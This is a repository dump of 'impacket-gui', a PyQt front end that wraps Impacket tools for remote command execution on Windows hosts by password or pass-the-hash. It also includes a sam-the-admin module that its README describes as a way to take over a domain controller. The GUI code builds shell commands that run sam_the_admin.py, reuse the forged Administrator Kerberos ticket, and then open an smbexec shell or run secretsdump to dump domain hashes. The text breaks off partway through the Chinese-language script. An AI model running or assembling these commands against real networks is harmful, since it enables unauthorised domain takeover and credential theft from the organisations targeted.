├── README.md
├── img
├── 1.gif
├── 2.png
├── 3.png
├── image-20230902152503535.png
├── image-20230902152527202.png
├── image-20230902153752181.png
├── image-20230902153857001.png
└── image-20230902155242312.png
├── impacket-gui-en.py
├── impacket-gui.py
├── impacket-gui_PyQt6.py
├── logo.jpg
├── requirements.txt
├── requirements_PyQt6.txt
└── sam-the-admin
├── .gitignore
├── README.md
├── requirements.txt
├── sam_the_admin.py
└── utils
├── S4U2self.py
├── __init__.py
├── addcomputer.py
└── helper.py
/README.md:
--------------------------------------------------------------------------------
1 | # impacket-gui
2 |
3 |
4 | 目前仅在 linux 下做过测试,有 bug 提issue
5 |
6 | 对目标是中文操作系统,请选择 gbk 编码
7 |
8 | # 功能列表
9 |
10 | - psexec 密码与哈希单次命令执行
11 | - smbexec 密码与哈希单次命令执行
12 | - dcomexec 密码与哈希单次命令执行
13 | - wimexec 密码与哈希单次命令执行
14 | - psexec 交互式执行
15 | - smbexec 交互式执行
16 | - dcomexec 交互式执行
17 | - sam-the-admin shell 方式
18 | - sam-the-admin dump 方式
19 |
20 |
21 |
22 | # 使用方式
23 | kalin-linux 不需要额外下载 impacket
24 | 1.下载本项目
25 | ```
26 | git https://github.com/yutianqaq/impacket-gui.git
27 | ```
28 |
29 | 2.安装 Pyqt 等依赖
30 | ```
31 | cd impacket-gui
32 | pip install -r requirements.txt
33 | ```
34 |
35 | 3.运行
36 | PSEXEC 密码与哈希演示 gif
37 | 
38 | PSEXEC 密码
39 | 
40 | PSEXEC 哈希
41 | 
42 |
43 | # 功能列表
44 | ## psexec、smbexec、dcomexec、wmiexec、atexec 的单次命令执行
45 |
46 | 
47 |
48 | ## psexec、smbexec、wmiexec 的交互式命令执行
49 |
50 | 
51 |
52 | 
53 |
54 | ## 一个获取域控的利用模块
55 |
56 | 来源于 https://github.com/WazeHell/sam-the-admin
57 |
58 | 需要填写域控 IP 一个域内账号,对于中文操作系统加了 gbk 解码
59 |
60 | ### 获取交互式shell
61 |
62 | 
63 |
64 | ### 获取哈希
65 |
66 | 
67 |
68 | # 更新
69 |
70 | 2023年9月2日:
71 |
72 | - 增加 ui 界面
73 | - 增加兼容性以显示中文
74 |
75 | - 增加smbexec、dcomexec 的单次命令执行
76 |
77 | - 增加 psexec、smbexec、wmiexec 交互式 shell
78 | - 增加一个获取域控的利用方式
79 |
--------------------------------------------------------------------------------
/img/1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/1.gif
--------------------------------------------------------------------------------
/img/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/2.png
--------------------------------------------------------------------------------
/img/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/3.png
--------------------------------------------------------------------------------
/img/image-20230902152503535.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902152503535.png
--------------------------------------------------------------------------------
/img/image-20230902152527202.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902152527202.png
--------------------------------------------------------------------------------
/img/image-20230902153752181.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902153752181.png
--------------------------------------------------------------------------------
/img/image-20230902153857001.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902153857001.png
--------------------------------------------------------------------------------
/img/image-20230902155242312.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902155242312.png
--------------------------------------------------------------------------------
/impacket-gui-en.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 | from PyQt5.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit
4 | from PyQt5.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl
5 | from PyQt5.QtGui import QIcon, QFont, QDesktopServices, QTextCursor
6 |
7 | class InteractiveSession(QWidget):
8 | def __init__(self, ip, username, password, mode, codec):
9 | super().__init__()
10 | self.ip = ip
11 | self.username = username
12 | self.password = password
13 | self.mode = mode
14 | self.codec = codec
15 | self.session = None
16 | self.output_text = None
17 | self.init_ui()
18 | self.connect_and_execute()
19 |
20 | def init_ui(self):
21 | self.output_text = QPlainTextEdit()
22 | self.output_text.setReadOnly(True)
23 | self.output_text.setLineWrapMode(QPlainTextEdit.NoWrap)
24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;"
25 | self.output_text.setStyleSheet(output_style)
26 |
27 | self.input_text = QLineEdit()
28 | self.input_text.setMaximumHeight(30)
29 | self.input_text.setPlaceholderText("Type your command and press Enter")
30 |
31 | layout = QVBoxLayout()
32 | layout.addWidget(self.output_text)
33 | layout.addWidget(self.input_text)
34 |
35 | self.setLayout(layout)
36 |
37 | def keyPressEvent(self, event):
38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter:
39 | self.execute_command()
40 |
41 |
42 | def connect_and_execute(self):
43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}"
44 |
45 | if self.mode == "SamTheAdmin-shell":
46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\""
47 | elif self.mode == "SamTheAdmin-dump":
48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\""
49 |
50 | self.session = QProcess()
51 | self.session.setProcessChannelMode(QProcess.MergedChannels)
52 | self.session.readyReadStandardOutput.connect(self.update_terminal)
53 | self.session.start(cmd)
54 | self.session.waitForStarted()
55 |
56 | def execute_command(self):
57 | command = self.input_text.text()
58 | if command:
59 | self.input_text.clear()
60 | self.session.write(f"{command}\n".encode())
61 | self.session.waitForBytesWritten()
62 |
63 | def update_terminal(self):
64 | output_data = self.session.readAllStandardOutput().data()
65 | print(output_data)
66 | output_data = self.decode_output(output_data)
67 | self.output_text.appendPlainText(output_data)
68 |
69 |
70 | def decode_output(self, output_data):
71 | encodings = ['utf-8', 'gb2312']
72 |
73 | for encoding in encodings:
74 | try:
75 | output = output_data.decode(encoding).strip()
76 | return output
77 | except UnicodeDecodeError:
78 | pass
79 |
80 | return ''
81 |
82 | class ImpacketTerminal(QWidget):
83 | def __init__(self):
84 | super().__init__()
85 | self.init_ui()
86 |
87 | def init_ui(self):
88 | self.tab_widget = QTabWidget()
89 | add_session_button = QTextEdit("Add Impacket Session")
90 | add_session_button.setReadOnly(True)
91 | add_session_button.setAlignment(Qt.AlignCenter)
92 | add_session_button.setFixedHeight(50)
93 | add_session_button.setStyleSheet("font-size: 18px;")
94 | add_session_button.viewport().setAutoFillBackground(False)
95 |
96 | # 添加连接模式下拉框
97 | self.mode_combobox = QComboBox()
98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"])
99 | self.mode_combobox.setCurrentIndex(0)
100 |
101 |
102 | self.codec_combobox = QComboBox()
103 | self.codec_combobox.addItems(["utf-8", "gbk"])
104 | self.codec_combobox.setCurrentIndex(0)
105 |
106 | # 添加IP、用户名、密码输入框
107 | self.ip_input = QLineEdit()
108 | self.ip_input.setPlaceholderText("Enter IP Address")
109 |
110 | self.username_input = QLineEdit()
111 | self.username_input.setPlaceholderText("Enter Username")
112 |
113 | self.password_input = QLineEdit()
114 | self.password_input.setPlaceholderText("Enter Password")
115 | self.password_input.setEchoMode(QLineEdit.Password)
116 |
117 |
118 |
119 | # 添加关闭当前会话按钮
120 | close_session_button = QPushButton("Close Current Session")
121 | close_session_button.clicked.connect(self.close_current_session)
122 |
123 | layout = QVBoxLayout()
124 | layout.addWidget(self.mode_combobox)
125 | layout.addWidget(self.codec_combobox)
126 | layout.addWidget(self.ip_input)
127 | layout.addWidget(self.username_input)
128 | layout.addWidget(self.password_input)
129 | layout.addWidget(add_session_button)
130 | layout.addWidget(self.tab_widget)
131 | layout.addWidget(close_session_button) # 添加关闭按钮
132 |
133 | self.setLayout(layout)
134 |
135 | add_session_button.mousePressEvent = self.add_session_tab
136 |
137 | # 用于保存输入框的文本
138 | self.saved_ip_text = ""
139 | self.saved_username_text = ""
140 | self.saved_password_text = ""
141 |
142 | def add_session_tab(self, event):
143 | ip = self.ip_input.text()
144 | username = self.username_input.text()
145 | password = self.password_input.text()
146 |
147 | # 获取用户选择的连接模式
148 | selected_mode = self.mode_combobox.currentText()
149 | selected_codec = self.codec_combobox.currentText()
150 |
151 | if ip and username and password:
152 | self.saved_ip_text = ip
153 | self.saved_username_text = username
154 | self.saved_password_text = password
155 |
156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec)
157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
158 | # self.ip_input.clear()
159 | # self.username_input.clear()
160 | # self.password_input.clear()
161 |
162 | else:
163 | # 在没有输入完整信息时显示错误消息
164 | QMessageBox.warning(self, "Error", "Please enter IP, Username, and Password.")
165 |
166 | def close_current_session(self):
167 | current_index = self.tab_widget.currentIndex()
168 | if current_index >= 0:
169 | session_widget = self.tab_widget.widget(current_index)
170 | if isinstance(session_widget, InteractiveSession):
171 | session_widget.session.terminate()
172 | self.tab_widget.removeTab(current_index)
173 |
174 | class SamTheAdmin(QWidget):
175 | def __init__(self):
176 | super().__init__()
177 | self.init_ui()
178 |
179 | def init_ui(self):
180 | self.tab_widget = QTabWidget()
181 | add_session_button = QTextEdit("Add Impacket Session")
182 | add_session_button.setReadOnly(True)
183 | add_session_button.setAlignment(Qt.AlignCenter)
184 | add_session_button.setFixedHeight(50)
185 | add_session_button.setStyleSheet("font-size: 18px;")
186 | add_session_button.viewport().setAutoFillBackground(False)
187 |
188 | # 添加连接模式下拉框
189 | self.mode_combobox = QComboBox()
190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"])
191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式
192 |
193 | self.codec_combobox = QComboBox()
194 | self.codec_combobox.addItems(["utf-8", "gbk"])
195 | self.codec_combobox.setCurrentIndex(0)
196 |
197 | # 添加IP、用户名、密码输入框
198 | self.ip_input = QLineEdit()
199 | self.ip_input.setPlaceholderText("Enter IP Address")
200 |
201 | self.username_input = QLineEdit()
202 | self.username_input.setPlaceholderText("Enter Username")
203 |
204 | self.password_input = QLineEdit()
205 | self.password_input.setPlaceholderText("Enter Password")
206 | self.password_input.setEchoMode(QLineEdit.Password)
207 |
208 |
209 |
210 | # 添加关闭当前会话按钮
211 | close_session_button = QPushButton("Close Current Session")
212 | close_session_button.clicked.connect(self.close_current_session)
213 |
214 | layout = QVBoxLayout()
215 | layout.addWidget(self.mode_combobox)
216 | layout.addWidget(self.codec_combobox)
217 | layout.addWidget(self.ip_input)
218 | layout.addWidget(self.username_input)
219 | layout.addWidget(self.password_input)
220 | layout.addWidget(add_session_button)
221 | layout.addWidget(self.tab_widget)
222 | layout.addWidget(close_session_button) # 添加关闭按钮
223 |
224 | self.setLayout(layout)
225 |
226 | add_session_button.mousePressEvent = self.add_session_tab
227 |
228 | # 用于保存输入框的文本
229 | self.saved_ip_text = ""
230 | self.saved_username_text = ""
231 | self.saved_password_text = ""
232 |
233 | def add_session_tab(self, event):
234 | ip = self.ip_input.text()
235 | username = self.username_input.text()
236 | password = self.password_input.text()
237 |
238 | # 获取用户选择的连接模式
239 | selected_mode = self.mode_combobox.currentText()
240 | codec_mode = self.codec_combobox.currentText()
241 |
242 | if ip and username and password:
243 | self.saved_ip_text = ip
244 | self.saved_username_text = username
245 | self.saved_password_text = password
246 |
247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode)
248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
249 | # self.ip_input.clear()
250 | # self.username_input.clear()
251 | # self.password_input.clear()
252 |
253 | else:
254 | # 在没有输入完整信息时显示错误消息
255 | QMessageBox.warning(self, "Error", "Please enter IP, Username, and Password.")
256 |
257 | def close_current_session(self):
258 | current_index = self.tab_widget.currentIndex()
259 | if current_index >= 0:
260 | session_widget = self.tab_widget.widget(current_index)
261 | if isinstance(session_widget, InteractiveSession):
262 | session_widget.session.terminate()
263 | self.tab_widget.removeTab(current_index)
264 |
265 | class CommandExecutor(QThread):
266 | command_output = pyqtSignal(str)
267 |
268 | def __init__(self, command):
269 | super().__init__()
270 | self.command = command
271 |
272 | def run(self):
273 | process = QProcess()
274 | self.command_output.emit(f"impacket-GUI > {self.command}")
275 | process.readyReadStandardOutput.connect(self.handle_output)
276 | process.finished.connect(self.finished)
277 |
278 | process.start(self.command)
279 | process.waitForFinished(-1)
280 |
281 | output_data = process.readAllStandardOutput().data()
282 | output = self.decode_output(output_data)
283 | self.command_output.emit(output)
284 |
285 | def handle_output(self):
286 | output_data = self.sender().readAllStandardOutput().data()
287 | output = self.decode_output(output_data)
288 | self.command_output.emit(output)
289 |
290 | def decode_output(self, output_data):
291 | encodings = ['utf-8', 'gb2312']
292 |
293 | for encoding in encodings:
294 | try:
295 | output = output_data.decode(encoding).strip()
296 | return output
297 | except UnicodeDecodeError:
298 | pass
299 |
300 | return ''
301 |
302 | class ImpacketExecutor(QWidget):
303 | def __init__(self):
304 | super().__init__()
305 | self.setWindowTitle("Impacket-GUI")
306 | self.setFont(QFont('Microsoft YaHei', 12))
307 | self.init_ui()
308 |
309 | def init_ui(self):
310 | self.tab_widget = QTabWidget()
311 |
312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"]
313 | self.executor_threads = []
314 |
315 | for tab_name in tabs:
316 | tab = QWidget()
317 | self.init_tab(tab, tab_name)
318 | self.tab_widget.addTab(tab, tab_name)
319 |
320 | layout = QVBoxLayout()
321 | layout.addWidget(self.tab_widget)
322 |
323 |
324 |
325 | about_button = QPushButton("About")
326 | about_button.clicked.connect(self.open_about_url)
327 | layout.addWidget(about_button)
328 |
329 | self.setLayout(layout)
330 |
331 | def init_tab(self, tab, tab_name):
332 | ip_label = QLabel("IP:")
333 | ip_entry = QLineEdit()
334 | username_label = QLabel("Username:")
335 | username_entry = QLineEdit()
336 | password_label = QLabel("Password:")
337 | password_entry = QLineEdit()
338 | password_entry.setEchoMode(QLineEdit.Password)
339 | hashes_label = QLabel("Hashes:")
340 | hashes_entry = QLineEdit()
341 | command_label = QLabel(f"Command for {tab_name}:")
342 | command_entry = QLineEdit()
343 | result_text = QTextEdit()
344 |
345 | codec_combobox = QComboBox()
346 | codec_combobox.addItems(["utf-8", "gbk"])
347 | codec_combobox.setCurrentIndex(0)
348 |
349 | result_text.setReadOnly(True)
350 |
351 | execute_button = QPushButton("Execute")
352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText()))
353 |
354 | tab_layout = QVBoxLayout()
355 | tab_layout.addWidget(codec_combobox)
356 | tab_layout.addWidget(ip_label)
357 | tab_layout.addWidget(ip_entry)
358 | tab_layout.addWidget(username_label)
359 | tab_layout.addWidget(username_entry)
360 | tab_layout.addWidget(password_label)
361 | tab_layout.addWidget(password_entry)
362 | tab_layout.addWidget(hashes_label)
363 | tab_layout.addWidget(hashes_entry)
364 | tab_layout.addWidget(command_label)
365 | tab_layout.addWidget(command_entry)
366 | tab_layout.addWidget(execute_button)
367 | tab_layout.addWidget(result_text)
368 |
369 | tab.setLayout(tab_layout)
370 |
371 |
372 | def open_about_url(self):
373 | about_url = "https://github.com/yutianqaq/impacket-gui"
374 | QDesktopServices.openUrl(QUrl(about_url))
375 |
376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec):
377 |
378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}"
379 | if hashes:
380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}"
381 |
382 | executor = CommandExecutor(cmd)
383 | executor.command_output.connect(result_text.append)
384 | executor.finished.connect(executor.deleteLater)
385 |
386 | executor_thread = QThread()
387 | executor.moveToThread(executor_thread)
388 | executor_thread.started.connect(executor.run)
389 | executor_thread.finished.connect(executor_thread.deleteLater)
390 |
391 | self.executor_threads.append(executor_thread)
392 | executor_thread.start()
393 |
394 | while executor_thread.isRunning():
395 | QCoreApplication.processEvents()
396 |
397 | def closeEvent(self, event):
398 | for executor_thread in self.executor_threads:
399 | executor_thread.quit()
400 | executor_thread.wait()
401 |
402 | event.accept()
403 | if __name__ == '__main__':
404 | app = QApplication(sys.argv)
405 | tab_widget = QTabWidget()
406 |
407 | impacket_executor = ImpacketExecutor()
408 | impacket_terminal_tab = ImpacketTerminal()
409 | sam_the_admin_tab = SamTheAdmin()
410 |
411 | tab_widget.addTab(impacket_executor, "Impacket GUI")
412 | tab_widget.addTab(impacket_terminal_tab, "Impacket Terminal")
413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin")
414 |
415 | window = QWidget()
416 | window.setWindowTitle("Impacket App")
417 | window.resize(1200, 800)
418 | window.setWindowIcon(QIcon("./logo.jpg"))
419 |
420 | layout = QVBoxLayout()
421 | layout.addWidget(tab_widget)
422 | window.setLayout(layout)
423 |
424 | window.show()
425 | sys.exit(app.exec_())
426 |
--------------------------------------------------------------------------------
/impacket-gui.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 | from PyQt5.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit
4 | from PyQt5.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl
5 | from PyQt5.QtGui import QIcon, QFont, QDesktopServices, QTextCursor
6 |
7 | class InteractiveSession(QWidget):
8 | def __init__(self, ip, username, password, mode, codec):
9 | super().__init__()
10 | self.ip = ip
11 | self.username = username
12 | self.password = password
13 | self.mode = mode
14 | self.codec = codec
15 | self.session = None
16 | self.output_text = None
17 | self.init_ui()
18 | self.connect_and_execute()
19 |
20 | def init_ui(self):
21 | self.output_text = QPlainTextEdit()
22 | self.output_text.setReadOnly(True)
23 | self.output_text.setLineWrapMode(QPlainTextEdit.NoWrap)
24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;"
25 | self.output_text.setStyleSheet(output_style)
26 |
27 | self.input_text = QLineEdit()
28 | self.input_text.setMaximumHeight(30)
29 | self.input_text.setPlaceholderText("在此处输入命令")
30 |
31 | layout = QVBoxLayout()
32 | layout.addWidget(self.output_text)
33 | layout.addWidget(self.input_text)
34 |
35 | self.setLayout(layout)
36 |
37 | def keyPressEvent(self, event):
38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter:
39 | self.execute_command()
40 |
41 |
42 | def connect_and_execute(self):
43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}"
44 |
45 | if self.mode == "SamTheAdmin-shell":
46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\""
47 | elif self.mode == "SamTheAdmin-dump":
48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\""
49 |
50 | self.session = QProcess()
51 | self.session.setProcessChannelMode(QProcess.MergedChannels)
52 | self.session.readyReadStandardOutput.connect(self.update_terminal)
53 | self.session.start(cmd)
54 | self.session.waitForStarted()
55 |
56 | def execute_command(self):
57 | command = self.input_text.text()
58 | if command:
59 | self.input_text.clear()
60 | self.session.write(f"{command}\n".encode())
61 | self.session.waitForBytesWritten()
62 |
63 | def update_terminal(self):
64 | output_data = self.session.readAllStandardOutput().data()
65 | print(output_data)
66 | output_data = self.decode_output(output_data)
67 | self.output_text.appendPlainText(output_data)
68 |
69 |
70 | def decode_output(self, output_data):
71 | encodings = ['utf-8', 'gb2312']
72 |
73 | for encoding in encodings:
74 | try:
75 | output = output_data.decode(encoding).strip()
76 | return output
77 | except UnicodeDecodeError:
78 | pass
79 |
80 | return ''
81 |
82 | class ImpacketTerminal(QWidget):
83 | def __init__(self):
84 | super().__init__()
85 | self.init_ui()
86 |
87 | def init_ui(self):
88 | self.tab_widget = QTabWidget()
89 | add_session_button = QTextEdit("执行")
90 | add_session_button.setReadOnly(True)
91 | add_session_button.setAlignment(Qt.AlignCenter)
92 | add_session_button.setFixedHeight(50)
93 | add_session_button.setStyleSheet("font-size: 18px;")
94 | add_session_button.viewport().setAutoFillBackground(False)
95 |
96 | # 添加连接模式下拉框
97 | self.mode_combobox = QComboBox()
98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"])
99 | self.mode_combobox.setCurrentIndex(0)
100 |
101 |
102 | self.codec_combobox = QComboBox()
103 | self.codec_combobox.addItems(["utf-8", "gbk"])
104 | self.codec_combobox.setCurrentIndex(0)
105 |
106 | # 添加IP、用户名、密码输入框
107 | self.ip_input = QLineEdit()
108 | self.ip_input.setPlaceholderText("请输入 IP 地址")
109 |
110 | self.username_input = QLineEdit()
111 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username")
112 |
113 | self.password_input = QLineEdit()
114 | self.password_input.setPlaceholderText("请输入密码")
115 | self.password_input.setEchoMode(QLineEdit.Password)
116 |
117 |
118 |
119 | # 添加关闭当前会话按钮
120 | close_session_button = QPushButton("关闭当前会话")
121 | close_session_button.clicked.connect(self.close_current_session)
122 |
123 | layout = QVBoxLayout()
124 | layout.addWidget(self.mode_combobox)
125 | layout.addWidget(self.codec_combobox)
126 | layout.addWidget(self.ip_input)
127 | layout.addWidget(self.username_input)
128 | layout.addWidget(self.password_input)
129 | layout.addWidget(add_session_button)
130 | layout.addWidget(self.tab_widget)
131 | layout.addWidget(close_session_button) # 添加关闭按钮
132 |
133 | self.setLayout(layout)
134 |
135 | add_session_button.mousePressEvent = self.add_session_tab
136 |
137 | # 用于保存输入框的文本
138 | self.saved_ip_text = ""
139 | self.saved_username_text = ""
140 | self.saved_password_text = ""
141 |
142 | def add_session_tab(self, event):
143 | ip = self.ip_input.text()
144 | username = self.username_input.text()
145 | password = self.password_input.text()
146 |
147 | # 获取用户选择的连接模式
148 | selected_mode = self.mode_combobox.currentText()
149 | selected_codec = self.codec_combobox.currentText()
150 |
151 | if ip and username and password:
152 | self.saved_ip_text = ip
153 | self.saved_username_text = username
154 | self.saved_password_text = password
155 |
156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec)
157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
158 | # self.ip_input.clear()
159 | # self.username_input.clear()
160 | # self.password_input.clear()
161 |
162 | else:
163 | # 在没有输入完整信息时显示错误消息
164 | QMessageBox.warning(self, "错误", "请输入完整")
165 |
166 | def close_current_session(self):
167 | current_index = self.tab_widget.currentIndex()
168 | if current_index >= 0:
169 | session_widget = self.tab_widget.widget(current_index)
170 | if isinstance(session_widget, InteractiveSession):
171 | session_widget.session.terminate()
172 | self.tab_widget.removeTab(current_index)
173 |
174 | class SamTheAdmin(QWidget):
175 | def __init__(self):
176 | super().__init__()
177 | self.init_ui()
178 |
179 | def init_ui(self):
180 | self.tab_widget = QTabWidget()
181 | add_session_button = QTextEdit("执行")
182 | add_session_button.setReadOnly(True)
183 | add_session_button.setAlignment(Qt.AlignCenter)
184 | add_session_button.setFixedHeight(50)
185 | add_session_button.setStyleSheet("font-size: 18px;")
186 | add_session_button.viewport().setAutoFillBackground(False)
187 |
188 | # 添加连接模式下拉框
189 | self.mode_combobox = QComboBox()
190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"])
191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式
192 |
193 | self.codec_combobox = QComboBox()
194 | self.codec_combobox.addItems(["utf-8", "gbk"])
195 | self.codec_combobox.setCurrentIndex(0)
196 |
197 | # 添加IP、用户名、密码输入框
198 | self.ip_input = QLineEdit()
199 | self.ip_input.setPlaceholderText("请输入 IP 地址")
200 |
201 | self.username_input = QLineEdit()
202 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username")
203 |
204 | self.password_input = QLineEdit()
205 | self.password_input.setPlaceholderText("请输入密码")
206 | self.password_input.setEchoMode(QLineEdit.Password)
207 |
208 |
209 |
210 | # 添加关闭当前会话按钮
211 | close_session_button = QPushButton("关闭当前会话")
212 | close_session_button.clicked.connect(self.close_current_session)
213 |
214 | layout = QVBoxLayout()
215 | layout.addWidget(self.mode_combobox)
216 | layout.addWidget(self.codec_combobox)
217 | layout.addWidget(self.ip_input)
218 | layout.addWidget(self.username_input)
219 | layout.addWidget(self.password_input)
220 | layout.addWidget(add_session_button)
221 | layout.addWidget(self.tab_widget)
222 | layout.addWidget(close_session_button) # 添加关闭按钮
223 |
224 | self.setLayout(layout)
225 |
226 | add_session_button.mousePressEvent = self.add_session_tab
227 |
228 | # 用于保存输入框的文本
229 | self.saved_ip_text = ""
230 | self.saved_username_text = ""
231 | self.saved_password_text = ""
232 |
233 | def add_session_tab(self, event):
234 | ip = self.ip_input.text()
235 | username = self.username_input.text()
236 | password = self.password_input.text()
237 |
238 | # 获取用户选择的连接模式
239 | selected_mode = self.mode_combobox.currentText()
240 | codec_mode = self.codec_combobox.currentText()
241 |
242 | if ip and username and password:
243 | self.saved_ip_text = ip
244 | self.saved_username_text = username
245 | self.saved_password_text = password
246 |
247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode)
248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
249 | # self.ip_input.clear()
250 | # self.username_input.clear()
251 | # self.password_input.clear()
252 |
253 | else:
254 | # 在没有输入完整信息时显示错误消息
255 | QMessageBox.warning(self, "错误", "请输入完整")
256 |
257 | def close_current_session(self):
258 | current_index = self.tab_widget.currentIndex()
259 | if current_index >= 0:
260 | session_widget = self.tab_widget.widget(current_index)
261 | if isinstance(session_widget, InteractiveSession):
262 | session_widget.session.terminate()
263 | self.tab_widget.removeTab(current_index)
264 |
265 | class CommandExecutor(QThread):
266 | command_output = pyqtSignal(str)
267 |
268 | def __init__(self, command):
269 | super().__init__()
270 | self.command = command
271 |
272 | def run(self):
273 | process = QProcess()
274 | self.command_output.emit(f"impacket-GUI > {self.command}")
275 | process.readyReadStandardOutput.connect(self.handle_output)
276 | process.finished.connect(self.finished)
277 |
278 | process.start(self.command)
279 | process.waitForFinished(-1)
280 |
281 | output_data = process.readAllStandardOutput().data()
282 | output = self.decode_output(output_data)
283 | self.command_output.emit(output)
284 |
285 | def handle_output(self):
286 | output_data = self.sender().readAllStandardOutput().data()
287 | output = self.decode_output(output_data)
288 | self.command_output.emit(output)
289 |
290 | def decode_output(self, output_data):
291 | encodings = ['utf-8', 'gb2312']
292 |
293 | for encoding in encodings:
294 | try:
295 | output = output_data.decode(encoding).strip()
296 | return output
297 | except UnicodeDecodeError:
298 | pass
299 |
300 | return ''
301 |
302 | class ImpacketExecutor(QWidget):
303 | def __init__(self):
304 | super().__init__()
305 | self.setWindowTitle("Impacket-GUI")
306 | self.setFont(QFont('Microsoft YaHei', 12))
307 | self.init_ui()
308 |
309 | def init_ui(self):
310 | self.tab_widget = QTabWidget()
311 |
312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"]
313 | self.executor_threads = []
314 |
315 | for tab_name in tabs:
316 | tab = QWidget()
317 | self.init_tab(tab, tab_name)
318 | self.tab_widget.addTab(tab, tab_name)
319 |
320 | layout = QVBoxLayout()
321 | layout.addWidget(self.tab_widget)
322 |
323 |
324 |
325 | about_button = QPushButton("关于")
326 | about_button.clicked.connect(self.open_about_url)
327 | layout.addWidget(about_button)
328 |
329 | self.setLayout(layout)
330 |
331 | def init_tab(self, tab, tab_name):
332 | ip_label = QLabel("IP 地址:")
333 | ip_entry = QLineEdit()
334 | username_label = QLabel("用户名:")
335 | username_entry = QLineEdit()
336 | password_label = QLabel("密码:")
337 | password_entry = QLineEdit()
338 | password_entry.setEchoMode(QLineEdit.Password)
339 | hashes_label = QLabel("哈希:")
340 | hashes_entry = QLineEdit()
341 | command_label = QLabel(f"执行方式为 {tab_name}:")
342 | command_entry = QLineEdit()
343 | result_text = QTextEdit()
344 |
